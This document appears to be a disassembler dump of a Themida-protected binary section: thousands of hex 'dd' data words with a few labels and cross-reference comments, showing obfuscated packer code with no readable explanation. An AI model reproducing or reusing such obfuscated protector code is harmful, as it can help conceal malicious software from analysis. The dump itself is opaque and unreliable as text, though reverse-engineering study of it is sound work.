3122B430h, 5B7A97D8h, 68663E80h, 26636DCh dd 1322AEDCh, 4A72F7D8h, 5136E5FBh, 0ACA8BDEFh, 21330253h dd 1D4AB190h, 0A45D4C5Eh, 2622B7D3h, 0F7C33A93h, 97A60E35h dd 9422F19Bh, 6D70E78Ah, 3E7AEDE9h, 0C26105E9h, 48A3E880h dd 2EE936FCh, 4022DDC8h, 8922B430h, 77997D8h, 467E3E83h dd 156636DCh, 9822ABDCh, 8F71F4D8h, 96DC5F73h, 258291ECh dd 66E53625h, 3B64EFD2h, 2A03226Dh, 0BCCA3DDEh, 0D3A1A95Dh dd 1A22DDDEh, 2622B430h, 0D07C97D8h, 0AD563E86h, 0E06636DCh dd 6222A3DCh, 0F274F1D8h, 75AF3CB7h, 0B324FFD4h, 7022DD08h dd 1322B430h, 4A7C97D8h, 0E0563E86h, 466636DCh, 3122AFDCh dd 5B74F1D8h, 1853FED5h, 7A9BD17Dh, 0B6A73E1Bh, 0E324FFD2h dd 0C7CAE4D8h, 4222B7D8h, 0B8797483h, 19269384h, 5126939Ch dd 6522B7D8h, 76FB748Bh, 626585D0h, 0DA856B16h, 6D4E5D58h dd 3122B15Ch, 6DBF3ED8h, 8A24FFF4h, 6E05DA5Dh, 1348F4DEh dd 89215F8Ah, 9E02B7D8h, 36ABED1Bh, 75A3B3FCh, 9838B3FCh dd 1E60B7D8h, 70A3551Bh, 0A7625D80h, 488B93B0h, 0A0D1096Bh dd 66A3AB0Dh, 0FFE5B3FCh, 6F9CD1D0h, 0D9974868h, 4C24FFF9h dd 10CAE5D8h, 0A922B7D8h, 4D787482h, 0E326938Ch, 2926939Ch dd 0DA22B7D8h, 5B4E748Ah, 0AFC8A47Fh, 5B0D2E4Dh, 97A73ADEh dd 4D24FC5Bh, 2A2E6E55h, 57F248DEh, 11AA4962h, 43B0A5Dh dd 24ABB8DEh, 9822B7D8h, 0B5A73A2Bh, 0AE24FC61h, 61CAE1D8h dd 1122B7D8h, 117C7486h, 0CD2693ACh, 3B26939Ch, 5522B7D8h dd 9CE4748Eh, 3F664AF8h, 314E1957h, 0D9B24F53h, 9822B7D7h dd 12D9A2DBh, 39BF44FFh, 0AD167FF5h, 33792155h, 0F886DFB8h dd 3B75E786h, 50AF3C48h, 6724FFC3h, 43C724Dh, 7122DDDEh dd 1322B430h, 4A7D97D8h, 0E05E3E87h, 466636DCh, 3122AEDCh dd 5B75F0D8h, 0F53D7E38h, 0DC9B5F3Eh, 9835F20Bh, 5B9DD100h dd 0F4A73A9Eh, 824FC61h, 32CAE5D8h, 0B822B7D8h, 0C5787482h dd 0A726938Ch, 0B26939Ch, 0CB22B7D8h, 8713748Ah, 329FDA5Bh dd 6FD03C8Bh, 0B106B351h, 4046665h, 3AABE7DEh, 0E2973CFCh dd 7624FFFFh, 8C06F64Dh, 3322DDDEh, 3122B430h, 5B7B97D8h dd 686E3E81h, 26636DCh, 1322A2DCh, 4A73F6D8h, 0ED701BFAh dd 2A2E2A4Dh, 0B4ABE8DEh, 9E6AB179h, 0C9E57C52h, 206AB23Dh dd 1322B7D7h, 76DB3CBEh, 8C24164Dh, 999DB8DEh, 184B3251h dd 5A93B190h, 60BB3253h, 0BBAFB190h, 15697AE3h, 423F451h dd 8C297665h, 77973ADEh, 8824FC15h, 9822B7EBh, 7FC9132Bh dd 2622B760h, 67E2BCD8h, 893A75DBh, 0C806F353h, 62225F8Bh dd 0B079B7D8h, 9822A01Bh, 687E3ED8h, 2663EC8h, 249AECCCh dd 76222878h, 0E0663C38h db 0DCh, 48h, 0C2h byte_579AB7 db 0EBh ; DATA XREF: Themida_:0053D238o dd 79267E6Dh, 0CF22DDDEh, 4C22B430h, 0E57D97D8h, 375E3E87h dd 0AD6636DCh, 0C422A2DCh, 0A175F0D8h, 0D84338F3h, 9822B7D7h dd 0ED8D3702h, 6649F855h, 1456F137h, 426177Ch, 8F9B8765h dd 0FEAF3ADEh, 8924FC15h, 41CEDh, 461F32EBh, 0E909B190h dd 0B8205E19h, 304222DDh, 0D88922B4h, 81077B97h, 0DC466E3Eh dd 0DC156636h, 839822AFh, 0A4F305E9h, 6AD98Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0B5C47DC3h, 0B2E37094h, 9052F181h, 7EE914DFh, 60000000h dd 13E9h, 8F0D9800h, 6A6E0A80h, 42F67937h, 645213AFh, 4A70C56Ah dd 1800Fh, 61F80000h, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 12E94C2Dh, 56000000h dd 1622732Ch, 4E53849Ch, 93A57385h, 559FBE36h, 12860F18h dd 0E9000000h, 0Dh, 34C277AEh, 805CCB08h, 1704291h, 0AE9C38Ah dd 2000000h, 8A6D3ED5h, 0F00AFA78h, 0E9C08B0Bh, 5, 0A5BA5D6Ch dd 0BA6660F4h, 8C0F17FBh, 15h, 10E9h, 0DCBD4300h, 47B61FCh dd 0E026F4D6h, 1EF9CCDEh, 0BD83613Eh, 64820E9h, 83097500h dd 482C61BDh, 19740006h, 0C08B5350h, 4B9B8h, 21858900h dd 8D064800h, 4AB0939Dh, 5BD3FF06h, 61BD8358h, 6482Ch dd 53501774h, 4B9B8h, 21858900h, 8D064800h, 4AAD349Dh dd 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 5D97DB47h, 0CE923h, 68B80000h, 0D0A33DF2h dd 0B5A850FFh, 0E960D690h, 8, 0AE91B490h, 2DEBFC5Eh, 6A61F8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0E6B70AC3h, 0C64B31CEh, 0F36C38Fh, 58Dh, 60F96000h dd 0C08B6161h, 0EE9h, 0B38C3100h, 6C5E9E7Bh, 4ADC0323h dd 4075415Ah, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 9E85CC3h, 44000000h, 0B0C1DC10h dd 0D80A5291h, 4EB5FF5h, 0 dd 56D78166h, 7DBD0B72h, 8D064830h, 4832FD85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 81BD3A63h, 83F10BF6h, 66509074h, 902C21BEh, 0AB5BD8Bh dd 0BF0F0648h, 6A006AF8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 3FD2C351h, 6A86FAFCh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0A5663AE2h, 33227E28h, 0D0E3858Dh, 8B60064Bh dd 4830D1BDh, 599D8B06h, 6106480Dh, 3105C083h, 4827718Dh dd 60605006h, 52506160h, 585A310Fh, 4896161h, 6E924h, 0EB780000h dd 2CB32FD9h, 0EE81006Ah, 6A6A856h, 8D0F006Ah, 6, 8C1BD8Bh dd 95FF0648h, 648277Dh, 9C149D8Dh, 6A064Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0FD56CCC3h dd 29FCE46Ah, 0FFF38BDEh, 50006AD3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 4DBD8B0Eh dd 89064829h, 4813F9B5h, 2D85FF06h, 0E906480Ah, 0Ah, 0BDFCB87Bh dd 3985AC6Fh, 0AFE96FF3h, 0E8000007h, 0 dd 0EDED815Dh, 0E8064BD0h, 12h, 7456B53Eh, 3D422C97h, 2A5613F3h dd 67B69D28h, 95895F20h, 648005Dh, 0E5BD815Eh, 0D0064805h dd 0F000007h, 14986h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 10097572h, 20899D89h dd 9D8B0648h, 6482AC1h, 24B9B52Bh, 0E3810648h, 100h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F9C35040h, 0CB03205Bh dd 39C9E09h, 4806F9B5h, 0FDB0B06h, 9D85h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0E8F98BEBh, 13h, 0CE40045Dh, 83E9116Bh, 4C4DF493h, 0C4DE6844h dd 0B5A0B5Ch, 482EDDBDh, 0BD835F06h, 64BCF95h, 0E840F00h dd 0BF000000h, 0E27BF2Bh, 6FE9h, 0A9BF6600h, 9585C733h dd 1064BCFh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 31A7C350h, 4830B1BDh dd 3AE906h, 0FE90000h, 8C000000h, 4274E332h, 0BF2C42B5h dd 1EA8F3E4h, 85C79C5Fh, 64BCF95h, 0 dd 0E9F38B66h, 14h, 0DB89DCD8h, 0C7936441h, 679A4050h dd 143F7A94h, 36CC6D60h, 2AC19D8Dh, 0BD8B0648h, 6480989h dd 0FEFF2381h, 8D89FFFFh, 6482C5Dh, 28E1BD8Bh, 8C660648h dd 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 4F951C56h, 2ABC2803h, 0E2816660h, 0BF66CB5Eh dd 0F6617F0Dh db 0C3h, 4, 0Fh byte_57A00F db 84h ; DATA XREF: Themida_:0053ED24o dd 5Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h dd 1EC35141h, 8B8AFFAAh, 0A195FFF8h, 66064806h, 5E9FA8Bh dd 40000000h, 7A94679Ah, 0F18B6690h, 5C09BE50h, 6A904DDFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0BC03C355h, 0E9F81077h, 4B2h, 0E856006Ah dd 3 db 20h, 5Eh, 0C3h byte_57A083 db 5Eh ; DATA XREF: Themida_:0053D850o dd 4247489h, 4244481h, 14h, 98C35646h, 28F0Fh, 0F98B0000h dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 95DDFEC3h, 0BF06A1C6h, 0E69091DEh, 53006A70h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h db 0F0h, 30h, 24h byte_57A0E3 db 0F8h ; DATA XREF: Themida_:0053F6ECo dd 0D692D4B6h, 5ED8D01h, 71E40648h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 97C35242h, 9F1B58Bh, 8C0F0648h dd 6, 23719589h, 0F8510648h, 0D8B60F5Fh, 2CFDBD89h, 6BA0648h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0BCE1C357h, 0C3C68166h, 6AC38B3Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 7F9BC350h, 0B3B858A4h, 0BF66C247h, 0E8C17E22h dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8E9DB5Eh, 5F000000h, 26A6044Bh, 66180C72h dd 0D8BEE2F7h, 2B1D5587h, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 9DEB8C09h dd 0B70FE587h, 8B6693F0h, 0E86050F0h, 0Dh, 70894317h, 0BF66644Eh dd 813A0F7Eh, 5A61607Eh, 60616060h, 93616161h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 70C35747h, 0A8D791AFh dd 0BCDC7DF2h, 0DBD3352h, 5E064828h, 6830Fh, 0B58B0000h dd 64828F5h, 5E5B5FFh, 6A0648h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 40E88DC3h, 0FFEB70Fh dd 0B8Ch, 5E800h, 0C5AD0000h, 5EBFD479h, 306195FFh, 6A0648h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0BA5623C3h, 0FE9E0h, 37E80000h, 4B3C98E7h, 67209FE3h dd 0E45AFFFAh, 0FE9ACh, 0FE260000h, 55542166h, 0A7ACF1CFh dd 0EF4114AEh, 6A00B031h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 1B78C351h, 195DB58Bh dd 70E60648h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0A9C35646h, 0C8B3FB7h, 0F38BE323h, 92F78166h, 6A71E459h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0BF5C356h, 4AECCDFDh, 0CFB416CAh, 583CF81h dd 8B66378Ah, 0F613CF8h, 1ED83h, 6850F00h, 89000000h, 4827659Dh dd 0D8B60F06h, 0BE9h, 6DBAD500h, 0DD6BF4Eh, 0A048B20Dh dd 13C59529h, 6BA0648h, 29000000h, 4824B98Dh, 66C38B06h dd 0C150D6BFh, 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0FDA25BC3h, 6335C7DEh, 0E2F766B3h dd 5E8h, 4BD4D500h, 5EF9ABDBh, 9D89D82Bh, 6480F51h, 8D8958F5h dd 64830F9h, 38A0Fh, 0BF0F0000h, 0FD82BF7h, 16188h, 29BF6600h dd 7B9B7h, 890F0000h, 6, 0D7C6E681h, 0C183153Bh, 56BF6600h dd 0FD93B38h, 13D86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8C66048Eh, 0B99589D9h dd 60064827h, 28618503h, 0BD890648h, 648274Dh, 4C1F661h dd 0DA840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 8FA84AC3h, 2B0655F5h, 0B70FEDE0h dd 0A195FFF1h, 6A064806h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 6BDAC352h, 50006A5Bh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0A9C8284Fh, 26DE8103h, 0F917A6A7h, 6AC32Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 4F350BC3h, 0F83AB423h, 0E5BD8BFCh, 8906480Eh, 4821219Dh dd 8343D06h, 860F0000h, 2Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 9C35141h, 30E9A8h, 0BD8B0000h dd 6481A9Dh, 80B8BF66h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 525799C3h, 8945F780h dd 0C38BB992h, 85C7D88Bh, 6482E45h, 1AB44FD9h, 6AC08Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 771E50C3h, 60DEAC32h, 814BE357h, 4805E5BDh, 7D006h dd 25850F00h, 0E8000000h, 0Dh, 74EB251Dh, 78291E2Ah, 719D4513h dd 299D0140h, 5F06482Eh, 5E585FFh, 81660648h, 0F8775DF7h dd 5E5B5FFh, 0BD8B0648h, 6482F4Dh, 306195FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 2FDD28C3h, 36A40D77h, 0BD8BAD89h, 6480A69h, 5678B890h dd 14E91234h, 38000000h, 0F969A9BEh, 7DDD051h, 0DBB4C2F7h dd 38C5E242h, 3F3B3A4h, 4805B1BDh, 629D8D06h, 0E9064BD8h dd 0FFFFF857h, 21318589h, 0C18B0648h, 12E9h, 9B46CC00h dd 54967C3Ch, 2DA5AD60h, 430D84E6h, 0EB816DFFh, 4, 1606000h dd 48227D85h, 0F61F506h, 68Fh, 33E38100h, 610D45A8h, 2D79B529h dd 858D0648h, 64832FDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0D3C35141h, 296156E8h, 482329B5h, 52505006h dd 11E8310Fh, 67000000h, 3EA26276h, 168FD1Ch, 86A21A52h dd 0DD4E9BA8h, 8A0Fh, 5A5F0000h, 24048958h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2EC35141h, 0B9BE4840h dd 0A558E777h, 0E8C0Fh, 89600000h, 481F5185h, 0AD8D3306h dd 61064818h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 65609CC3h, 15890Fh, 10E90000h, 65000000h dd 0BBDA97A2h, 0F65E62Ch, 0A36AD23Bh, 6AB20417h, 0F18D2900h dd 8D064810h, 4BDAA885h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 689A5350h, 0FDB589C4h dd 8306480Ah, 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0AFF823C3h, 0C6816649h, 9D89154Dh dd 6480DB1h, 0F98B5190h, 0B3BE505Fh, 902D4F0Ch, 0AE9h dd 61C65500h, 0DC97241Dh, 6AD5C25Eh, 0FAB70F00h, 14E9006Ah dd 0C3000000h, 36700196h, 9B89E8Dh, 0F018ED9Dh, 0B1B3A269h dd 0FF833567h, 48277D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0DE9536Ah dd 0D7000000h, 5E34A819h, 5F92BFAAh, 7C2291E0h, 8DFB8B5Fh dd 4B9C149Dh, 0F8B70F06h, 9589D3FFh, 6482C25h, 0A2D85FFh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 2A0F2C3h, 0B18D89C2h, 0E906481Dh, 0CABh dd 0E8h, 0ED815D00h, 64BDAB2h, 23F1BD89h, 0BD810648h, 64805E5h dd 7D0h, 169860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8B4651C3h, 4826C59Dh dd 29958906h, 81064828h, 100E3h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 7FEE81E8h dd 0B4B1989h, 0AA850FDBh, 0E9000000h, 0Eh, 80A686D8h, 4FBBDBFBh dd 0F7CA349h, 83F5B2E8h, 4BD8B2BDh, 840F0006h, 36h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 40C35040h, 0B4E9F88Dh dd 5BF51D38h, 4BE9BF7Ch, 86E956B4h dd 0F000000h, 0BE66F3B7h, 85C7C5B0h, 64BD8B2h, 1, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CFC35040h, 52F918CCh dd 830FF5E2h, 15h, 0DE852h, 846D0000h, 735A8C82h, 200C3AF0h dd 5EDCA64Ah, 33E95Fh, 29FC0000h, 48093595h, 0B285C706h dd 64BD8h, 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 61AFC351h, 84FA0AA4h, 0C59D8DA1h dd 9064826h, 48007D85h, 0FF238106h, 6AFFFFFEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0FE3EC350h, 132CA4Eh, 18D89F4h, 66064832h, 6ADB8Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 5A0682C3h, 68B0Fh, 0B5010000h, 64828C5h, 0F04C3F6h dd 1A84h, 31B58B00h, 0F064828h, 95FFFAB7h, 64806A1h, 48950F8h dd 81B58B24h, 0E9064823h, 42Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0B5C35343h, 0B58B6067h, 648297Dh dd 0EA9CD881h, 66613987h, 0B0FE8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 6C35141h, 0C5F8BE66h, 880F70E6h dd 5, 0EECC65BEh, 0E871E40Ah, 0Fh, 0D8ADA52Dh, 0D21B6AFAh dd 0C2F2978Ah, 5F6FEAA1h, 6AD8B60Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 9888C350h dd 76BD4DF7h, 6840FD8h, 8B000000h, 480609B5h, 6BA06h, 7E90000h dd 2000000h, 0A881FC7Ch, 0C38BAE0Ch, 1BE59D89h, 0E8C10648h dd 198D8904h, 66064801h, 0B52BE2F7h, 6482571h, 6AD82Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 4AC905C3h, 0DDBD8985h, 8B064810h, 481CE1B5h, 0FB8B9306h dd 8E850h, 0EC950000h, 37D659F2h, 7BF6895h, 5F18612Bh dd 52006A93h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 1E96B6AAh, 0F6C6507Dh, 1B85BD8Bh, 0B5FF0648h dd 64805E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 3AC35545h, 494B9DDh, 290252D9h, 482B4585h, 6195FF06h dd 8B064830h, 482401BDh, 6A00B006h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 221BC352h dd 55A9126Eh, 0E6F8DAC2h, 95896070h, 64822C9h, 2CED9D8Bh dd 0E4610648h, 51006A71h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 3CF08BC3h, 53830F61h dd 6A000002h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0C4E6C350h, 0EE810FA4h, 13F6F921h dd 6AD8B60Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 1BA7C356h, 2550D279h, 0D6C8BFA0h dd 24AD8D89h, 6BA0648h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 743DC357h dd 8BF98B66h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0B80495ABh, 51F090BFh, 0F602689h dd 68Dh, 219D8B00h, 89064821h, 4808B19Dh, 0E8C16106h, 0F766F504h dd 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 956C98F7h, 0E81E5BDFh, 0BF66A3FBh, 0D82B9F8Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F3C35646h dd 618B3DBh, 58D4ACB0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 54C35343h, 0FD82BF7h, 12588h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 816718BAh, 6D9E41F7h, 6830F3Bh, 8B000000h, 480B11BDh dd 7B906h, 890F0000h, 0Ch, 68F0Fh, 95890000h, 64827EDh dd 6000C183h, 13E956h, 302A0000h, 2BB7659Eh, 72508963h dd 957ACA06h, 50CF4EBDh, 8B665F18h, 0D93B61D1h, 0B4860Fh dd 800F0000h, 12h, 0DE9h, 25E51D00h, 982FF8A3h, 0C07830F4h dd 8C660504h, 4C1F6D9h, 89840Fh, 0FA8B0000h, 6A195FFh dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 46D920C3h, 665F51CEh, 5B617FBFh, 2371B58Bh dd 0C32B0648h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 7BC35343h, 8343DDCh, 860F0000h, 2Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E3C35545h, 64FAEA6Ah dd 85F14692h, 9E9h, 8BF28B00h, 0B5B9BFC0h, 0C38B22CAh dd 8152D88Bh, 0BDDB11C7h, 85C75E10h, 6482AC1h, 72EE81D9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h dd 9B2CE69h, 48248D95h, 6AC08B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7217C357h dd 4B45593h, 8E9h, 95032A00h, 0F63DD78Ch, 0E5BD816Eh, 0D0064805h dd 0F000007h, 2A85h, 0BAC78100h, 0FF70DB12h, 4805E585h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0FFDF1BBDh, 4805E5B5h, 13E806h, 86100000h dd 38FCC5AEh, 74A7A215h, 577068B6h, 0ACDDFF73h, 0E9852913h dd 5E06482Ah, 306195FFh, 0DE90648h, 86000000h, 2C348606h dd 980A1249h, 0C9DABD09h, 85894090h, 6481F49h, 26B5BD83h dd 0F000648h, 0B284h, 0C98D2900h, 83064806h, 482F19BDh dd 840F0006h, 9Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 5FC35747h, 5731E236h, 0B1FFF7BAh, 30B18589h dd 95FF0648h, 64826B5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0F2C35646h, 6E818h, 0C9020000h, 778DD969h dd 0AE9h, 0E30BF300h, 7A1299DFh, 5EE5690Dh, 840FC00Bh dd 2Fh, 61CB8B60h, 4B648D8Dh, 0B58B0648h, 648059Dh, 5B8h dd 0DD958900h, 0FF064805h, 75B589E1h, 0F06481Fh, 68Bh dd 0ADBD8B00h, 83064820h, 481BA1BDh, 840F0006h, 4D8h, 446ABF66h dd 0F7DBD8Bh, 0BD830648h, 6482F19h, 0C1840F00h, 89000004h dd 482119B5h, 618D8D06h, 6A064809h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 886CC357h dd 3924CFC2h, 2931BD29h, 1C70648h, 44B27C84h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 48C35040h, 81F9F312h dd 99CFCB01h, 35858914h, 0C706480Bh, 6B340441h, 0BD8BCE70h dd 6480DD9h, 10044181h, 6A31D6D7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A03C357h dd 819D0900h, 8D06481Bh, 48096185h, 0F9858906h, 9006480Ah dd 9C2DBE50h, 0E8906DBAh, 0Ah, 5D4AF1C5h, 0F6688C38h, 0BD8BD8E3h dd 6482D9Dh, 0A195FF5Fh, 0F906481Bh, 9618D8Dh, 6A0648h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 835240C3h dd 462EB6F2h, 2B7DBD8Bh, 1C70648h, 0 dd 10E9h, 127FD900h, 3044D4D0h, 2559C328h, 6E5095EFh, 441C790h dd 0 dd 9E18589h, 8D890648h, 6481575h, 840FC00Bh, 1Fh, 58F0Fh dd 81660000h, 8DC7B4EEh, 484B648Dh, 0A1BD2906h, 0B8064821h dd 5, 8DE1FFF9h, 4809618Dh, 0A5BD2906h, 0C706480Fh, 0AA727C01h dd 94D2BF44h, 18136AAh, 1499CFCBh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 27C35040h, 79ADAC37h, 3C0441C7h dd 23CE7875h, 480FC9BDh, 4418106h, 31D6D710h, 77A7BF66h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8BD4C7C3h, 482A49B5h, 61858D06h, 6A064809h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0D02C355h, 61BF4F81h, 67261554h, 67BE90F9h dd 50767D4Ch, 8D0Fh, 6A900000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 7A3EC351h, 0BBCD72A1h dd 0A195FFC9h, 0E806481Bh, 14h, 0E2888CD8h, 63C8C283h dd 0D6A17694h, 8DAB538Fh, 5CD9A641h, 82DF8166h, 0DE815EA5h dd 3A3E8C62h, 9618D8Dh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0E9EFDAC3h, 5, 0C053D65Dh dd 0DF816609h, 1C77746h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E9C35242h dd 104A72CCh, 441C7h, 1000000h, 482F8DB5h, 0FC00B06h, 6384h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8D8DA983h, 6484B64h, 202DB58Bh, 5B80648h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 3D1AC352h, 0E1FF95DBh, 0FE9h dd 72D1C900h, 15ED889Dh, 535D8705h, 0EB4987B1h, 9618D8Dh dd 0BD230648h, 6482CC9h, 95A501C7h, 6A54CAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 81604CC3h dd 99CFCB01h, 6DB50314h, 0C706480Fh, 59690441h, 8166CE5Fh dd 817F2EC6h, 0D7100441h, 6A31D6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 3A81EC3h, 358D8913h dd 8906480Dh, 480CC985h, 23006A06h, 48098DBDh, 61858D06h dd 0BE064809h, 6191C192h, 24048950h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0C5C35545h, 8426E09Eh, 0D0F20DCDh dd 69B58B52h, 5E064815h, 1BA195FFh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0A481E0C3h dd 2BB22E2Ah, 618D8D9Ch, 31064809h, 48047185h, 0BD035606h dd 6481E45h, 1C75Fh, 89000000h, 482AF1BDh, 441C706h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E9C35343h dd 57B10326h, 840FC00Bh, 6Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 58C35242h, 66374F89h, 9589F38Bh dd 6480AA9h, 4B648D8Dh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0BBED7EC3h, 0DC12D329h dd 16C90CBh, 